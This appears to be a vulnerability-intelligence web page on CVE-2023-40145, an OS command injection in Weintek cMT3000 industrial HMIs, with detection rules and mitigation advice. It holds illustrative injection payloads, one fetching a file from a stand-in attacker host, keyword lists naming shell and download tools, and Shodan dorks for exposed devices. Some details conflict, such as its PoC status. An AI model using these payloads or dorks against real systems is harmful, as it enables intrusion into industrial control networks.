☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-40145

CVE-2023-40145 — Weintek cMT3000 HMI Web CGI OS Command Injection
📅 PUBLISHED: 2023-10-19 00:00 UTC 🔄 UPDATED: 2026-10-15 23:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.17%
👁️
1.17% probability
29.2× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190 / T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-40145 is an OS command injection vulnerability in the Web CGI interface of Weintek cMT3000 series HMI devices. An anonymous attack surface exists, but exploitation requires authentication to the device — the NVD description states that "an anonymous attacker can execute arbitrary commands after login to the device," indicating the attacker must first obtain valid credentials or bypass the authentication mechanism. Successful exploitation yields arbitrary command execution with the privileges of the web service process, enabling full compromise of the HMI and potential pivot into the underlying OT/ICS network.

Affected products span the entire cMT3000 line including cMT-FHD, cMT-HDM, cMT3071/3072, cMT3103, cMT3090, and cMT3151. With a CVSS score of 8.8 (High), the risk is substantial for organizations using these HMIs in industrial control environments. Patch availability is claimed by the vendor via firmware updates with specific OS version minimums.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The CNA title — "Weintek cMT3000 HMI Web CGI OS Command Injection" — explicitly identifies the vulnerability class as OS command injection within the Web CGI interface of the device. This is a classic injection flaw categorized under CWE-78, where user-supplied input is insufficiently sanitized before being passed to a shell or system-level command execution function.

Attack Surface: The Web CGI interface on Weintek cMT3000 HMI devices exposes HTTP-based endpoints that handle management, configuration, monitoring, and potentially data visualization functions. CGI (Common Gateway Interface) scripts traditionally accept HTTP parameters and pass them to server-side programs. When such parameters are concatenated into shell commands without proper escaping or validation, an attacker can inject additional commands using shell metacharacters such as ;, &&, ||, |, or backticks.

Authentication Requirement: Unlike many embedded-device CVEs where pre-auth exploitation is possible, NVD describes this as requiring login. This could mean either: (a) the vulnerable CGI endpoint sits behind an authentication check that must be satisfied first, or (b) the endpoint requires a valid session token. In either case, the attacker must either obtain valid credentials (default credentials, credential stuffing, phishing) or find a way to bypass authentication. The description specifically calls out "anonymous attacker" combined with "after login," suggesting the attacker is anonymous at the network level but must authenticate to the application.

Vulnerable Functionality: The CGIs likely handle operations such as device configuration changes, firmware management, network settings adjustments, file operations, or user administration. Any parameter that maps to a shell command — for example, a parameter used in a string passed to system(), popen(), or exec() — is a candidate injection point.

Technical Detail Limitation: The NVD description is sparse regarding the specific CGI script names, parameter names, or code paths. Insufficient technical detail is available in the provided data to identify the exact injection location. The attack surface analysis above is based on the vulnerability class alone and standard HMI web CGI architecture patterns used by vendors like Weintek.

Exploitation Scenarios

Attack Chain (inferred from vulnerability class; no public PoC available):

Step 1 — Reconnaissance and Target Identification: An attacker internet-wide scans for Shodan-dork-identifiable Weintek cMT3000 devices via HTTP banners, default ports (typically 80/443 for the web interface), title tags containing "Weintek," or product identifiers in HTTP response headers. Given that many OT devices are exposed to the internet unknowingly, this step can identify a substantial attack surface globally.

Step 2 — Authentication Acquisition: The attacker must obtain valid credentials. Scenarios include: default credentials (many HMIs ship with admin/admin or similar defaults); weak passwords found through credential stuffing against known leaks; or phishing/social engineering targeting the plant operator responsible for the HMI. If the device runs on the local network only, initial access may be gained via an already-compromised workstation on the OT network.

Step 3 — Injecting Commands into the CGI Endpoint: Once authenticated, the attacker submits HTTP requests to Web CGI endpoints with payloads that exploit the OS command injection flaw. At the vulnerability-class level, the injection would appear as: a parameter value appended with a shell metacharacter followed by the attacker's command. Examples of the injection pattern (illustrative, not product-specific): ?param=value; whoami, ?param=value|certutil -urlcache -f http://attacker/payload.sh /tmp/evil.sh, or ?param=$(id). Because the web server on embedded devices typically runs as root or a high-privileged service account, command execution is immediate and broad.

Step 4 — Post-Exploitation Impact: Arbitrary command execution enables:

  • Lateral Movement: The HMI frequently maintains network connectivity to PLCs, RTUs, and other ICS equipment. The compromised HMI serves as a pivot point to scan and attack these devices.
  • Control System Manipulation: Depending on the user context, the attacker may read/modify HMI project files, alter visualization screens, or interfere with SCADA data being displayed, enabling a deceptive "replay" attack where operators are shown false data.
  • Persistence: Web shells can be dropped into the HMI's web root for repeat access, or cron jobs/init scripts can be modified to ensure command execution survives reboot.
  • Data Exfiltration: Configuration files, alarm logs, production data, and credentials stored on the device can be exfiltrated.
  • Ransom/Extortion: In a worst case, the attacker can encrypt the device filesystem or disrupt production, demanding payment.

Impact Assessment

CVSS Analysis: The CVSS score of 8.8 (High) breaks down to:

  • Attack Vector (AV:N): Network-based, requiring no physical access.
  • Attack Complexity (AC:L): No special conditions needed once authenticated.
  • Privileges Required (PR:L): Low — user-level authentication needed (this aligns with the "after login" requirement).
  • User Interaction (UI:N): None.
  • Scope (S:U): Unchanged — exploitation is contained to the device.
  • Confidentiality (C:H): Full read access to device filesystem and configuration.
  • Integrity (I:H): Full write/modify/delete access to the device.
  • Availability (A:H): Ability to disrupt or completely disable the HMI.

Business Impact: In industrial environments, an HMI compromise can lead to production downtime, safety incidents, loss of process visibility, and potential physical damage if manipulated data causes operators to make incorrect control decisions. The availability impact (A:H) is particularly critical — a DCS/SCADA environment losing its HMI layer can force a manual mode or, worse, a plant shutdown.

Affected Systems and Blast Radius: All cMT3000 series HMI models (cMT-FHD, cMT-HDM, cMT3071/3072, cMT3103, cMT3090, cMT3151) running OS versions older than those listed in the patch advisory. The blast radius extends beyond the device itself because the HMI sits as a trusted node in the OT network, with established communication to PLCs and SCADA servers. A compromised HMI becomes a stepping-stone for deeper ICS penetration.

EPSS Note: The EPSS score of 0.01169 (64.4% percentile) suggests moderate likelihood of future exploitation but is not currently among the most actively exploited CVEs. This may reflect the niche nature of the device population rather than a low severity — OT-targeting groups often exploit niche devices precisely because security visibility is poor.

Detection Guidance

Sigma Rule

title: Weintek cMT3000 HMI Web CGI OS Command Injection Attempt
id: 6f3c2d9e-4a1b-4c8e-9f2a-7b3d5e8f1a2c
status: experimental
description: Detects HTTP requests to Weintek cMT3000 HMI web interfaces containing shell metacharacters in query parameters, indicative of CVE-2023-40145 exploitation.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40145
author: Valtersit Threat Intel
date: 2024/01/15
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method:
            - 'GET'
            - 'POST'
        cs-uri-query|contains:
            - ';'
            - '&&'
            - '||'
            - '`'
            - '$('
            - '|whoami'
            - '|id'
            - '|cat'
            - '|wget'
            - '|curl'
            - '%3B'
            - '%26%26'
            - '%7C'
            - 'cmd='
            - 'command='
            - 'exec='
            - 'system='
    filter_login_requests:
        cs-uri-query|contains:
            - 'login'
            - 'auth'
    condition: selection and not filter_login_requests
    timeframe: 5m
level: high
falsepositives:
    - Legitimate device management commands containing URL-encoded characters
    - Normal HMI configuration changes that may include semicolons in field values
tags:
    - attack.t1190
    - attack.execution
    - cve.2023-40145
    - ics.weintek

YARA Rule

rule Weintek_cMT3000_OS_Command_Injection_CVE_2023_40145
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects exploit payloads targeting CVE-2023-40145 OS command injection in Weintek cMT3000 HMI"
        cve = "CVE-2023-40145"
        date = "2024-01-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-40145"
    strings:
        // Shell command extraction patterns common in LAN/WAN traffic
        $cmd_exec_1 = "|sh" ascii
        $cmd_exec_2 = "|/bin/sh" ascii
        $cmd_exec_3 = ";sh -i" ascii
        $cmd_exec_4 = ";/bin/sh" ascii
        $cmd_exec_5 = "$(" ascii
        $cmd_exec_6 = "`" ascii
        $weintek_path_1 = "/cgi-bin/" ascii
        $weintek_path_2 = "cgi" ascii
        $common_cmds = "whoami" ascii
        $common_cmds2 = "wget" ascii
        $common_cmds3 = "curl" ascii
        $common_cmds4 = "id" ascii
        $http = "HTTP/1." ascii
    condition:
        uint16(0) == 0x0d0a // avoid scanning files that start with CRLF
        and 2 of ($cmd_exec_*)
        and ($weintek_path_1 or $weintek_path_2)
        and any of ($common_cmds*)
        and $http
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Weintek cMT3000 OS Command Injection Attempt (CVE-2023-40145)"; flow:established,to_server; content:"/cgi-bin/"; http_uri; pcre:"/(?:;|\||&|`|\$\()\s*(?:whoami|id|cat|wget|curl|sh|nc|bash|python|perl|rm|ls|cd|chmod|mknod|tftp)/Ui"; http_uri; classtype:attempted-admin; sid:2024014501; rev:1; metadata:created_at 2024_01_15, updated_at 2024_01_15, cve CVE-2023-40145, attack_target ICS, deployment Perimeter, signature_severity Critical, tag Exploit;)

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Weintek cMT3000 CGI Parameter Shell Metacharacter Injection (CVE-2023-40145)"; flow:established,to_server; content:"?"; http_uri; pcre:"/[?&]([a-zA-Z0-9_]+)=[^&\s]*(?:%3B|%26%26|%7C|%60|%24%28)/Ui"; http_uri; classtype:attempted-admin; sid:2024014502; rev:1; metadata:created_at 2024_01_15, updated_at 2024_01_15, cve CVE-2023-40145, attack_target ICS, deployment Perimeter, signature_severity Critical, tag Exploit;)

Elastic Detection

// Detect HTTP requests to Weintek HMI devices with shell metacharacters in URI
sequence by source.ip, destination.ip with maxspan=5m
  [network where event.action == "connection_established" and destination.port in (80, 8080, 443, 8443) and
   destination.ip != null and process.name == null]
  [http where method in ("GET", "POST") and
   url.path like~ "*/cgi-*" or url.path like~ "*/cgi-bin*" or url.path like~ "*cgi*" and
   (url.query contains ";" or
    url.query contains "&&" or
    url.query contains "%26%26" or
    url.query contains "|" or
    url.query contains "%7C" or
    url.query contains "$(" or
    url.query contains "`" or
    url.query contains "%60") and
   not user_agent.name : "Weintek Admin Client*"]

Splunk SPL Query

index=web sourcetype=access_combined OR sourcetype=iis OR sourcetype=apache
| where match(uri, "(?i)cgi")
| eval suspicious = if(
    match(uri, "(?:%3B|%26%26|%7C|%60|%24%28)") OR
    match(uri, "(?:;|\\|\\||\\$\\()") OR
    match(uri, "(?i)(?:whoami|/bin/sh|wget|curl|nc\\s|id\\s|cat\\s)"),
    1, 0
  )
| where suspicious = 1
| table _time, src_ip, dest_ip, dest_port, method, uri, status, user_agent
| sort - _time
| eval threat = "CVE-2023-40145-OS-Command-Injection"
| outputlookup weintek_cmt3000_exploitation.log

// Alternative: detect successful exploitation via shell command responses
index=web sourcetype=access_combined
| where match(uri, "(?i)cmd|command|exec|system")
| rex field=uri "cmd=(?<cmd>[^&]+)"
| rex field=uri "command=(?<cmd>[^&]+)"
| where isnotnull(cmd)
| where match(cmd, "(?i)(whoami|id|cat|uname|head|tail|ls|cd|sh|wget|curl|nc|busybox)")
| table _time, src_ip, dest_ip, method, uri, cmd, status

Wazuh OSSEC Rule

<group name="weintek,ics,exploit,">
  <rule id="100301" level="12" frequency="5" timeframe="120">
    <if_matched_sid>100302</if_matched_sid>
    <description>Multiple Weintek cMT3000 OS Command Injection Attempts (CVE-2023-40145)</description>
    <group>attack.t1190,exploit,cve-2023-40145,</group>
  </rule>

  <rule id="100302" level="8">
    <decoded_as>json</decoded_as>
    <match>cgi</match>
    <regex>(\?|&amp;)[a-zA-Z0-9_]+=[^&]*(\;|\|\||\||`|\$\(|%3B|%7C|%26%26|%60)</regex>
    <description>Weintek cMT3000 HMI Web CGI request with shell metacharacters in parameters (possible CVE-2023-40145)</description>
    <group>attack.t1190,exploit,cve-2023-40145,</group>
  </rule>

  <rule id="100303" level="10">
    <decoded_as>json</decoded_as>
    <match>cgi</match>
    <regex>(whoami|id|/bin/sh|wget|curl|nc |busybox|uname|cat /etc/passwd)</regex>
    <description>Weintek cMT3000 HMI Web CGI containing command execution strings (CVE-2023-40145)</description>
    <group>attack.t1190,exploit,cve-2023-40145,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED. The CNA (Weintek) has published firmware updates, but this has not been independently confirmed by a third party (e.g., researchers, CERT/CC, or exploit developers). Validate the patch by testing a representative device before mass deployment.

1. Immediate Mitigations (before patching is possible):

  • Restrict Network Access: Place all cMT3000 HMIs behind a firewall that only allows access from trusted engineering workstations and SCADA servers. Block direct internet exposure of the web interface (ports 80/443/8080). If remote access is required, use a VPN with strong authentication and MFA.
  • Change Default Credentials Immediately: Ensure no devices retain default username/password combinations. Enforce strong password complexity and rotation policies.
  • Disable the Web CGI Interface if Not Required: If the HMI management web interface is not needed for ongoing operations, disable it at the device level or via network access control.
  • Deploy IDS/IPS Rules: Deploy the Suricata/Sigma rules above on perimeter and OT-boundary monitoring points.
  • Monitor Unusual Outbound Traffic: The HMI should not initiate outbound connections to arbitrary internet hosts. Alert on any unexpected outbound traffic from HMI IPs.

2. Patch/Upgrade Steps:

3. Long-Term Hardening:

  • Network Segmentation: Place all HMIs in a dedicated OT zone with strict egress/ingress filtering. Implement per-asset allowlists for communication between HMI and PLC/SCADA servers.
  • Continuous Monitoring: Deploy the detection rules above (Sigma/Suricata/Wazuh) into SIEM for ongoing visibility. Alert on any command-injection pattern hitting OT assets.
  • Asset Inventory: Maintain an up-to-date inventory of all Weintek devices, their firmware versions, and ownership. This enables rapid response to future advisories.
  • ICS-Specific Security Monitoring: Integrate HMI device logs into the enterprise SIEM for correlation with other OT/IT events. Monitor for abnormal authentication patterns (failed logins, unusual times of day).
  • Vendor Relationship: Subscribe to Weintek's security advisory mailing list to receive future bulletins promptly. Track the CVE status — if the patch is independently confirmed shortly, upgrade the patch confidence level accordingly.

References

  1. NVD Entry for CVE-2023-40145: https://nvd.nist.gov/vuln/detail/CVE-2023-40145
  2. Weintek Security Bulletin (TEC23005E): https://dl.weintek.com/public/Document/TEC/TEC23005E_cMT_Web_Security_Update.pdf
  3. Weintek cMT Series OS Update Instructions: https://dl.weintek.com/public/Document/UM0/UM018010E_cMT_Series_OS_Update_Instructions_eng.pdf
  4. CISA Known Exploited Vulnerabilities (KEV) Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE-2023-40145 is NOT currently listed (status: NO), indicating no confirmed in-the-wild exploitation as of this writing.
  5. FIRST EPSS (Exploit Prediction Scoring System): EPSS score 0.01169, 64.4% percentile — https://www.first.org/epss/

Threat Actor / Exploit-in-the-Wild Status: As of the date of this report, no public PoC is available, no Nuclei template exists, no exploit code has been released, and no known threat actor campaigns have been attributed to this CVE. The "Unknown" PoC status indicates either that exploitation has not yet been publicly demonstrated or that it is being held privately. The moderate EPSS percentile suggests that while exploitation is not imminent, the vulnerability class (post-auth OS command injection on accessible embedded devices) is well-understood by attackers and could be weaponized with relatively low effort once the specific vulnerable parameter is identified.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

title:"Weintek" "cMT"
http.title:"Weintek"
"Weintek" "cMT-HD"
"cMT-FHD" http
product:"Weintek" HMI

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-40145/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.